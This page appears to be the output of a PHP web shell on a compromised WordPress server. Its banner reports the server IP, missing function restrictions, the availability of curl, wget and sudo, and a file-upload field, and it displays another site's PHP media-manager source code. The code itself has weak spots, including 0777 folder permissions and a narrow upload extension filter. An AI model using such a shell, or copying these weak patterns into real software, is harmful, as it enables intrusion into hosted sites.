Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/mediaManager/model/ |
Upload File : |
<?php
// no database access for this one
class MediaManagerModel extends Model {
protected $source = 'storage/images';
protected $thumbs = 'storage/thumbnails';
public $NODE;
private $elements; // location of image on filesystem
private $assetTree = [];
private $includeThumb = FALSE;
static
public function createThumbnail($data, $thumbsize_wd = 98) {
$thumbsize_ht = $thumbsize_wd / 1.3425;
// load image
// $fp = fopen('/phil/image', 'w');
// fwrite($fp, $data);
// fclose($fp);
$img = imagecreatefromstring($data);
if ($img === FALSE) return '';
$wd = imagesx($img);
$ht = imagesy($img);
if ($wd >= $ht) {
$thumb_wd = $thumbsize_wd;
$thumb_ht = $thumb_wd * $ht / $wd;
} else {
$thumb_ht = $thumbsize_ht;
$thumb_wd = $thumb_ht * $wd / $ht;
}
// resize to fit
$thumb = imagecreatetruecolor($thumb_wd, $thumb_ht);
imagecopyresampled($thumb, $img, 0, 0, 0, 0, $thumb_wd, $thumb_ht, $wd, $ht);
ob_start();
imagejpeg( $thumb, NULL, 75 );
$data = ob_get_clean();
imagedestroy($img);
return $data;
}
static
public function getDirectory($directory) {
foreach($directory as &$element) {
$element = rawurldecode($element);
$element = trim(str_replace(['..', '\\', ';', '<', '>', '&', '/', '|'], '', $element));
}
return join('/', $directory);
}
public function LoadAssets() {
$assets = hook_execute('mediamanager.assets', []);
foreach($assets as $asset) {
$this->includeVirtualAsset($asset);
}
return $this;
}
private function _displayEntry($entry) {
$function = $entry['function'];
if (!empty($entry['class'])) $function = $entry['class'] . '::' . $function;
$file = $entry['file'] ?? '';
$line = $entry['line'] ?? '';
echo $function . " [{$file}:{$line}]<br>\n";
}
protected function source($hash) {
if (is_array($hash)) {
$bt = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
foreach($bt as $bt_item) {
echo $this->_displayEntry($bt_item);
}
die("Source should not be an array\n");
}
return HOME . '/' . $this->source . '/' . $hash;
}
public function BaseFolder() {
if (func_num_args()) {
$this->source = trim(trim(func_get_arg(0), '/'));
return $this;
}
return $this->source;
}
public function ThumbFolder() {
if (func_num_args()) {
$this->thumbs = trim(trim(func_get_arg(0), '/'));
return $this;
}
return $this->thumbs;
}
public function IncludeThumb() {
if (func_num_args()) {
$this->includeThumb = func_get_arg(0);
return $this;
}
return $this->includeThumb;
}
public function Filename() {
if (func_num_args()) {
$param = func_get_arg(0);
$loadcontent = (func_num_args() > 1) ? func_get_arg(1) : 0;
if (is_string($param)) {
$param = trim(trim(func_get_arg(0), '/'));
$param = explode('/', $param);
}
foreach($param as &$element) {
$element = rawurldecode($element);
}
// get the node
$this->NODE = $this->getNodeFromPath($param, $loadcontent);
if (is_null($this->NODE)) {
$this->elements = [];
} else {
$this->elements = $param;
}
return $this;
}
return join('/', $this->elements);
}
public function loadThumbnail($basename, $thumbsize, $refresh = 0) {
$filename = HOME . '/' . $this->thumbs . '/' . $basename . '-' . $thumbsize;
if (!file_exists($filename) || $refresh) {
// create a thumbnail from an image
$original = $this->source($basename);
$source = file_get_contents($original);
// to do: create subfolder, if required
$data = static::createThumbnail($source, $thumbsize);
file_put_contents($filename, $data);
} else {
$data = file_get_contents($filename);
}
return 'data:image/jpeg;base64,'.base64_encode($data);
}
protected function getIconFromMimetype($mime) {
// List of official MIME Types: http://www.iana.org/assignments/media-types/media-types.xhtml
$icon_classes = [
// Folder
'directory' => 'far fa-folder',
// Media
'image' => 'far fa-image',
'audio' => 'far fa-file-audio',
'video' => 'far fa-file-video',
// 'image/jpeg' => '',
// 'image/png' => '',
// 'image/svg' => '',
// Documents
'application/pdf' => 'far fa-file-pdf',
'application/msword' => 'far fa-file-word',
'application/vnd.ms-word' => 'far fa-file-word',
'application/vnd.oasis.opendocument.text' => 'far fa-file-word',
'application/vnd.openxmlformats-officedocument.wordprocessingml' => 'far fa-file-word',
'application/vnd.ms-excel' => 'far fa-file-excel',
'application/vnd.openxmlformats-officedocument.spreadsheetml' => 'far fa-file-excel',
'application/vnd.oasis.opendocument.spreadsheet' => 'far fa-file-excel',
'application/vnd.ms-powerpoint' => 'far fa-file-powerpoint',
'application/vnd.openxmlformats-officedocument.presentationml' => 'far fa-file-powerpoint',
'application/vnd.oasis.opendocument.presentation' => 'far fa-file-powerpoint',
'text/plain' => 'far fa-file-alt',
'text/html' => 'far fa-file-code',
'application/json' => 'far fa-file-code',
// Archives
'application/gzip' => 'far fa-file-archive',
'application/zip' => 'far fa-file-archive',
];
[$type, $subtype] = explode('/', $mime, 2);
if (isset($icon_classes[$mime])) return $icon_classes[$mime];
if (isset($icon_classes[$type])) return $icon_classes[$type];
return 'far fa-file';
}
public function filesize_formatted($size) {
if ($size < 1024) {
return ($size + 0) . 'B';
}
$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = $size > 0 ? floor(log($size, 1024)) : 0;
return number_format($size / pow(1024, $power), 2, '.', ',') . $units[$power];
}
public function UpdateImageData(&$imagelist) {
foreach($imagelist as &$image) {
$mime = $image['mime'];
if (($p = strpos($mime, ';')) !== FALSE) {
$mime = trim(substr($mime, 0, $p));
}
[$type, $subtype] = explode('/', $mime, 2);
$image['icon'] = $this->getIconFromMimetype($mime);
$filename = isset($image['path']) ? $image['path'] : $image['hash'];
if ($type == 'image') {
// svg thumb?
if ($mime == 'image/x-icon' || $mime == 'image/vnd.microsoft.icon') {
$source = HOME . '/' . $this->source . '/' . $filename ;
$image['thumb'] = 'data:image/vnd.microsoft.icon;base64,' . base64_encode(file_get_contents($source));
} elseif (substr($mime, 0, 9) != 'image/svg') { // image/svg+xml or image/svg
$image['thumb'] = $this->loadThumbnail($filename, 277);
}
}
$image['dir'] = $mime == 'directory' ? 1 : 0;
if (!array_key_exists('filesize', $image)) {
$stat = stat($this->source($filename));
$image['filesize'] = $stat['size'];
$image['dt'] = $stat['mtime'];
}
$image['datetime'] = gmdate('Y-m-d', $image['dt']);
$image['size'] = $this->filesize_formatted($image['filesize']);
}
}
public function getFolderContents($relative_folder = '') {
$relative_folder = trim($relative_folder, '/');
if ($relative_folder != '') $relative_folder .= '/';
$data = [];
$files = glob($this->source($relative_folder . '*'));
foreach($files as $index => $file) {
$node = $this->nodeAsFilename($file, $relative_folder);
$node['id'] = $index;
$node['order'] = $index + 1;
$data[] = $node;
}
// add in assets
$readonly = 0;
$this->addVirtualAssets($data, $relative_folder, $readonly);
return [
'data' => $data,
'readonly' => $readonly,
];
}
function nodeAsFilename($filename, $relative_folder = '', $mimetype = '') {
$base = $this->source($relative_folder);
$relative = ltrim(str_replace($base, '', $filename), '/');
if ($relative != '') $relative = '/' . $relative;
$basename = str_replace('//', '/', $relative_folder . $relative);
if ($basename[0] != '/') $basename = '/' . $basename;
// get filename and mimetype
$authhash = md5('media:' . $basename);
$node = [
'hash' => sha1($basename),
'path' => $basename,
'filename' => pathinfo($filename, PATHINFO_BASENAME),
'mime' => $mimetype,
'uri' => '/~/mediaManager/image' . $basename,
'auth' => hook_execute('nonce.create', FALSE, 'mediaitm', $authhash, 1800),
'source' => $filename,
];
if ($mimetype == '') {
$node['mime'] = $this->_getMimeType($filename);
if (substr($node['mime'], 0, 9) == 'image/svg') {
$node['svg'] = file_get_contents($filename);
}
}
return $node;
}
public function createFolder($parent, $folder) {
if ($folder == '' || $folder == '.' || $folder == '..') {
return 'invalid or missing name';
}
$fullname = $parent == '' ? $folder : $parent . '/' . $folder; // relative to Source
$fullname = $this->source($fullname);
mkdir($fullname, 0777);
return TRUE;
}
public function uploadFile($directory, $temp_name, $originalname, $param = []) {
// save to filesystem
$info = pathinfo($originalname);
$basename = $info['basename'];
switch(strtolower($info['extension'])) {
case 'sh':
case 'php':
case 'py':
case 'pyc':
$basename .= '.txt';
break;
}
if ($directory != '') $directory .= '/';
// send message to database
$node = [
'hash' => md5_file($temp_name),
'name' => $originalname,
'folder' => $directory,
'mime' => mime_content_type($temp_name),
'target' => $basename,
];
if (substr($node['mime'], 0, 6) == 'image/') { // add image dimensions. but not svg
if (($info = getimagesize($temp_name)) !== FALSE) {
$node['width'] = $info[0];
$node['height'] = $info[1];
}
}
$node = hook_execute('mediamanager.update', $node, $param);
$target = $this->source($directory . $node['target']);
copy($temp_name, $target);
$target = HOME . '/' . $this->thumbs . '/' . $directory . $basename;
$info = pathinfo($target);
@mkdir($info['dirname'], 0777, TRUE); // make a thumbnail folder, the actual thumbnail is created when needed
return $node;
}
// this will do a json call
private function _getContextMenu_link($node, $action) {
if ($action == 'download') {
return '/~/mediamanager/image' . $node['path'] . '?alt=media';
} else {
return '/~/mediamanager/act/' . $action .$node['path'] . '?auth=' . $node['auth'];
}
}
private function getNodeFromPath($directory, $include_data = FALSE) {
if (is_array($directory)) {
$direlements = $directory;
} else {
$direlements = explode('/', $directory);
}
$elements = $direlements;
array_unshift($elements, '@');
$current = $this->assetTree;
// check for virtual folders
$isFolder = 0;
$virtual = NULL;
foreach($elements as $index => $element) {
if (isset($current[$element])) {
if (is_object($current[$element])) {
$virtual = $current[$element]; // this is the archive
$virtual->relativeFolder = join('/', array_slice($elements, 1, $index - 1));
$virtual->filename = $element;
$elements = array_slice($elements, $index + 1);
$isFolder = 0;
break;
} elseif (is_array($current[$element])) {
$current = $current[$element];
$isFolder = 1;
}
} else {
$isFolder = 0; // not within the virtual
break;
}
}
if ($isFolder) {
$elements = $direlements;
$filename = array_pop($elements); // this will be the basename
$relative_folder = join('/', $elements);
$filename = join('/', $direlements);
return $this->nodeAsFilename($filename, $relative_folder, 'directory');
}
if (!is_null($virtual)) {
return $this->getNodeFromVirtualFile($virtual, $elements, $include_data);
}
// do we have a virtual folder or archive?
// this will be readonly
// no - its a file on the filesystem:
$elements = $direlements;
$filename = array_pop($elements); // this will be the basename
$relative_directory = join('/', $elements);
$filename = $this->source(join('/', $direlements));
$node = $this->nodeAsFilename($filename, $relative_directory);
if ($filename != '' && file_exists($filename)) {
$node['mime'] = $this->_getMimeType($filename);
if (($include_data || $this->includeThumb === 2) && (filesize($filename) < 8388608)) $node['data'] = file_get_contents($filename);
if (substr($node['mime'], 0, 6) == 'image/' && substr($node['mime'], 0, 9) != 'image/svg' ) {
// get image dimensions
$size = getimagesize($filename);
$node['dimensions'] = [ $size[0], $size[1] ];
}
}
return $node;
}
private function _getMimeType($filename) {
if (is_dir($filename)) return 'directory';
$finfo = new \finfo(FILEINFO_MIME_TYPE);
$fp = @fopen($filename, 'rb');
$content = @fread($fp, 8388608);
// $content = file_get_contents($filename); // not for mp4 files :)
$mimeType = $finfo->buffer($content);
return $mimeType;
}
private function _getNode() {
$list = [$this->NODE];
$list = hook_execute('mediamanager.validate', $list);
return array_pop($list);
}
public function getContextMenu($offset = 0, $select = 0, $default = 0) {
$node = $this->_getNode();
$readonly = $node['readonly'] ?? 0;
$filename = $node['source'] ?? '';
$output = [];
if ($node['dir']) {
$output[] = [ 'name' => 'Open', 'icon' => $node['icon'], 'href' => $this->_getContextMenu_link($node, 'open'), 'className' => 'default', 'action' => 'open' ];
} elseif ($select) {
$entry = [
'name' => 'Select',
'icon' => 'fas fa-map-marker-alt',
'href' => $this->_getContextMenu_link($node, 'select'),
'className' => 'default bind-select',
'action' => 'select',
];
if (isset($node['svg'])) {
$entry['svg'] = $node['svg'];
} elseif (isset($node['thumb'])) {
$entry['thumb'] = $node['thumb'];
}
$output[] = $entry;
} else {
$output[] = [ 'name' => 'Preview', 'icon' => 'fas fa-eye', 'href' => $this->_getContextMenu_link($node, 'preview'), 'className' => 'default', 'action' => 'preview' ];
}
if (!$default) {
if (!$node['dir']) {
$output[] = [ 'name' => 'Download', 'icon' => 'fas fa-download', 'href' => $this->_getContextMenu_link($node, 'download') ];
}
$output[] = [ 'name' => 'Show URL', 'icon' => 'fas fa-globe', 'href' => $this->_getContextMenu_link($node, 'url'), 'className' => 'json' ];
if (!$readonly) {
$output[] = [ 'name' => 'Rename', 'icon' => 'fas fa-i-cursor', 'href' => $this->_getContextMenu_link($node, 'ren'), 'className' => 'json' ];
$output[] = [ 'name' => 'Cut', 'icon' => 'fas fa-cut', 'href' => $this->_getContextMenu_link($node, 'cut'), 'className' => 'json' ];
}
$output[] = [ 'name' => 'Copy', 'icon' => 'far fa-copy', 'href' => $this->_getContextMenu_link($node, 'copy'), 'className' => 'json' ];
if (!$readonly) {
$output[] = [ 'name' => 'Paste', 'icon' => 'fas fa-paste', 'href' => $this->_getContextMenu_link($node, 'paste'), 'className' => 'json' ];
$output[] = [ 'name' => 'Permissions', 'icon' => 'fas fa-tasks', 'href' => $this->_getContextMenu_link($node, 'perm'), 'className' => 'json' ];
}
$output[] = '---------';
// file info ~ name ~ dimenions ~ date
$output[] = [ 'name' => 'File Info', 'icon' => 'far fa-list-alt' , 'className' => 'smallcap'];
if (substr($node['mime'], 0, 6) == 'image/' && substr($node['mime'], 0, 9) != 'image/svg' ) {
// get image dimensions
$size = getimagesize($filename);
$output[] = [ 'name' => $size[0] . 'px × ' . $size[1] . 'px', 'icon' => 'fas fa-ruler-combined' ];
}
// $output[] = [ 'name' => 'Video Length', 'icon' => 'fas fa-tape' ];
$output[] = [ 'name' => $node['size'], 'icon' => 'fas fa-tape' ];
$date = gmdate('Y-m-d g:ia', $node['dt'] - ($offset * 60));
$output[] = [ 'name' => $date, 'icon' => 'far fa-calendar-alt' ];
}
return $output;
}
public function contextUrl($hostname) {
$node = $this->_getNode();
return [
'popup' => [
'title' => 'Link to Media',
'template' => 'mediamanager_showurl',
'modal' => TRUE,
'width' => 900,
'url' => $hostname . '/~/mediamanager/image/' . $this->Filename(),
'actions' => [
[
'data-action' => 'cancel',
'text' => 'Close',
],
],
],
];
}
public function contextRename() {
$node = $this->_getNode();
return [
'popup' => [
'title' => 'Rename File',
'template' => 'mediamanager_rename',
'modal' => TRUE,
'width' => 900,
'path' => $this->Filename(),
'file' => $node['filename'],
'auth' => $node['auth'],
'hash' => $node['hash'],
'actions' => [
[
'data-action' => 'submit',
'text' => 'Rename',
],
],
],
];
}
public function performRename( $newname, $hash) {
$node = $this->_getNode();
// if the new file exists - give error
$directory = $this->Filename();
$elements = explode('/', $directory);
array_pop($elements);
$relative_directory = join('/', $directory);
$newfolder = $this->source($relative_directory . '/' . $newname);
if (file_exists($newfolder)) {
return [
'result' => 93300,
'message' => 'Unable to rename: Target file already exists',
];
}
$from = $this->source($directory);
rename($from, $newfolder);
// remove thumbname file
// return new entry, re-sort
$this->Filename($relative_directory . '/' . $newname);
$node = $this->_getNode();
return [
'html' => [
[
'field' => $hash,
'value' => 'nothing to see here',
],
],
'x' => '12345',
];
}
// add the asset to the asset tree
public function includeVirtualAsset($asset) {
$path = explode('/', trim($asset->mount, '/'));
array_unshift($path, '@');
$last = count($path) - 1;
$node = &$this->assetTree;
foreach($path as $index => $element) {
$islast = $index == $last;
if ($islast) {
$temp = clone $asset;
unset($temp->mount);
$ext = strtolower(pathinfo($temp->archive, PATHINFO_EXTENSION));
if ($ext == 'zip' || $ext == 'gzip' || $ext == 'bzip' || $ext == 'gz' || $ext == 'tar' || $ext == '7z') {
$temp->mime = 'directory'; // should be compressed directory
}
$node[$element] = $temp;
} else {
if (!isset($node[$element])) {
$node[$element] = [];
}
$node = &$node[$element];
}
}
}
private function _folderExists($data, $filename) {
foreach($data as $entry) {
if ($entry['filename'] == $filename) return TRUE;
}
return FALSE;
}
private function listVirtualFileContents_add(&$filetree, $elements, $index) {
$filename = array_pop($elements);
$node = &$filetree;
foreach($elements as $element) {
if (!isset($node[$element])) {
$node[$element] = [];
}
$node = &$node[$element];
}
$node[$filename] = $index;
}
private function listVirtualFileContents_locate($filetree, $subpath) {
array_unshift($subpath, '@');
$node = &$filetree;
foreach($subpath as $element) {
if (!isset($node[$element])) return NULL;
$node = &$node[$element];
}
return $node;
}
private function listVirtualFileContents_icon($content, &$orientation) {
if (preg_match('~viewBox="(.*?)"~', $content, $match)) {
[$left, $top, $bottom, $right] = explode(' ', trim(preg_replace('/\s+/', ' ',$match[1])));
$width = $right - $left;
$height = $bottom - $top;
$orientation = $width > $height ? 'portrait' : 'landscape';
}
// <path fill="#1A1918" d=""
return $content;
return 'data:image/svg+xml;base64,' . base64_encode($content);
}
private function extensionToMime($ext) {
switch($ext) {
case 'jpg':
case 'jpeg':
$mime = 'image/jpeg';
break;
case 'ico':
$mime = 'image/vnd.microsoft.icon';
break;
case 'png':
$mime = 'image/png';
break;
case 'svg':
$mime = 'image/svg+xml';
break;
default:
$mime = 'text/plain';
break;
}
return $mime;
}
// list files within a folder within the archive
private function listVirtualFileContents(&$data, $node, $subpath, $basepath) {
$zip = new ZipArchive;
$zip->Open($node->archive);
// load zip File
$filetree = [];
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
if (substr($name, -1, 1) != '/') {
$elements = explode('/', $name);
array_unshift($elements, '@');
$this->listVirtualFileContents_add($filetree, $elements, $i);
}
}
$relative_folder = '';
$current = $this->listVirtualFileContents_locate($filetree, $subpath);
// we have some items in this virtual archive folder
if (!is_null($current)) {
foreach($current as $filename => $entry) {
if (is_array($entry)) {
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
$index = count($data);
$node['id'] = $index;
$node['order'] = $index + 1;
$data[] = $node;
} elseif (is_numeric($entry)) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$mime = $this->extensionToMime($ext);
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, $mime);
$index = count($data);
$node['id'] = $index;
$node['order'] = $index + 1;
if (substr($mime, 0, 9) == 'image/svg') {
// add svg thumbnails to recognized images
$orientation = '';
$content = $zip->getFromIndex($entry);
$node['svg'] = $this->listVirtualFileContents_icon($content, $orientation);
$node['orientation'] = $orientation;
}
$stat = $zip->statIndex($entry);
$node['filesize'] = $stat['size'];
$node['dt'] = $stat['mtime'];
$data[] = $node;
// get mime type based on extension
}
}
}
$zip->Close();
}
private function addVirtualAssets(&$data, $relative_folder, &$readonly) {
if ($relative_folder != '') {
$path = explode('/', trim($relative_folder, '/'));
} else {
$path = [];
}
array_unshift($path, '@');
$node = $this->assetTree;
$subpath = [];
$basepath = $this->source($relative_folder);
foreach($path as $index => $element) {
if (isset($node[$element])) {
$node = $node[$element];
if (is_object($node)) {
// remaining path elements are within the archive
$subpath = array_slice($path, $index + 1);
$readonly = 1;
return $this->listVirtualFileContents($data, $node, $subpath, $basepath);
}
} else {
return; // no virtual icons for the specified relative folder
}
}
foreach($node as $filename => $info) {
if (is_object($info)) { // we have a compressed file
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
$index = count($data);
$node['id'] = $index;
$node['order'] = $index + 1;
$data[] = $node;
} elseif (is_array($info)) { // we have a folder
// only add it if the folder is not already listed:
if (!$this->_folderExists($data, $filename)) {
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
$index = count($data);
$node['id'] = $index;
$node['order'] = $index + 1;
$data[] = $node;
}
}
}
// locate the folder within $this->assetTree
// return if missing
}
private function getNodeFromVirtualFile($node, $elements, $include_data = FALSE) {
$path = join('/', $elements);
$relative_folder = $node->relativeFolder;
$filename = $node->filename;
$basepath = $this->source($relative_folder);
if ($path == '') {
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
$node['readonly'] = 1;
return $node;
}
$zip = new ZipArchive;
$zip->Open($node->archive);
// is it a folder
$content = $zip->getFromName($path . '/');
$content2 = $zip->getFromName($path);
if ($content !== FALSE) { // yes, a Folder
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, 'directory');
$node['dir'] = 1;
$node['readonly'] = 1;
} elseif ($content2 !== FALSE) { // yes, a file
$stat = $zip->statName($path);
$filename = array_pop($elements);
$path = join('/', $elements);
if ($path != '') $path = '/' . $path;
$relative_folder .= '/' . $node->filename . $path . '/';
$basepath = $this->source($relative_folder);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$mime = $this->extensionToMime($ext);
$node = $this->nodeAsFilename($basepath . $filename, $relative_folder, $mime);
if ($include_data) $node['data'] = $content2;
$node['readonly'] = 1;
$node['filesize'] = $stat['size'];
$node['dt'] = $stat['mtime'];
if (substr($mime, 0, 9) == 'image/svg' && $this->includeThumb) { // for the thumbnail
$orientation = ''; // add svg thumbnails to recognized images
$node['svg'] = $this->listVirtualFileContents_icon($content2, $orientation);
$node['orientation'] = $orientation;
}
} else {
$node = NULL;
}
$zip->Close();
return $node;
}
public function contextDuplicate() {
}
public function listImages($folder) {
$contents = $this->getFolderContents($folder);
$output = [];
foreach($contents['data'] as $item) {
$output[] = [
'key' => $item['path'],
'value' => $item['filename'],
'uri' => $item['uri'],
];
}
return $output;
}
}